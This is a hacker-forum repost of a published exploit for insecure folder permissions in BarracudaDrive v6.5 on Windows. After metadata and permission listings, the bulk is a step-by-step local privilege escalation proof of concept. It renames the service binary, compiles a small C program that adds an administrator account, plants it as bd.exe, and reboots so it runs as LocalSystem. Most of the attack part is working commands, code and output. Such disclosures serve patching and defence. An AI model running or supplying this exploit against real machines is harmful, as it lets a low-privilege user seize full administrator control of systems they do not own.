Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

BarracudaDrive v6.5 - Insecure Folder Permissions


Recommended Posts

# Exploit Title: BarracudaDrive v6.5 - Insecure Folder Permissions
# Exploit Author:  Bobby Cooke (boku) & Adeeb Shah (@hyd3sec) 
# Date: 2020-09-01
# Vendor Homepage: https://barracudaserver.com/
# Software Link:   https://download.cnet.com/BarracudaDrive/3001-18506_4-10723210.html
# Version:         v6.5
# Tested On:       Windows 10 Pro 
# CVSS Base Score: 8.8 | Impact Subscore: 6.0 | Exploitability Subscore: 2.0
#     CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
#         CWE-276: Incorrect Default Permissions
#         CWE-732: Incorrect Permission Assignment for Critical Resource
# Vulnerability Description:
#     Insecure Service File Permissions in bd service in Real Time Logics BarracudaDrive v6.5 
#   allows local low-privilege attacker to escalate privileges to admin via replacing the bd.exe 
#   file and restarting the computer where the malicious code will be executed as 'LocalSystem'
#   on the next startup.

## Insecure Folder Permission
C:\>cacls C:\bd
C:\bd BUILTIN\Administrators:(OI)(CI)(ID)F
      NT AUTHORITY\Authenticated Users:(ID)C
      NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

## Insecure File/Service Permission
C:\>cacls C:\bd\bd.exe
C:\bd\bd.exe BUILTIN\Administrators:(ID)F
             NT AUTHORITY\Authenticated Users:(ID)C

C:\>sc qc bd
[SC] QueryServiceConfig SUCCESS

        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\bd\bd.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : BarracudaDrive ( bd ) service
        DEPENDENCIES       : Tcpip
        SERVICE_START_NAME : LocalSystem

## Local Privilege Escalation Proof of Concept
#0.  Download & install 

#1.  Create low privileged user & change to the user
## As admin
C:\>net user lowpriv Password123! /add
C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name                    lowpriv
Local Group Memberships      *Users
Global Group memberships     *None

#2.  Move the Service EXE to a new name
C:\bd>move bd.exe bd.service.exe
        1 file(s) moved.

#3.  Create malicious binary on kali linux
## Add Admin User C Code
   kali# cat addAdmin.c
     int main(void){
     system("net user boku mypassword /add");
     system("net localgroup Administrators boku /add");
    return 0;

## Compile Code
   kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe

#4. Transfer created 'bd.exe' to the Windows Host 

#5. Move the created 'bd.exe' binary to the 'C:\bd\' Folder
C:\bd>move C:\Users\lowpriv\Downloads\bd.exe .

#6. Check that exploit admin user doesn't exit
C:\bd>net user boku
The user name could not be found

#6. Reboot the Computer
C:\bd>shutdown /r

#7. Login & look at that new Admin
C:\Users\lowpriv>net user boku | findstr /i "Membership Name" | findstr /v "Full"
User name                    boku
Local Group Memberships      *Administrators       *Users
Global Group memberships     *None
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...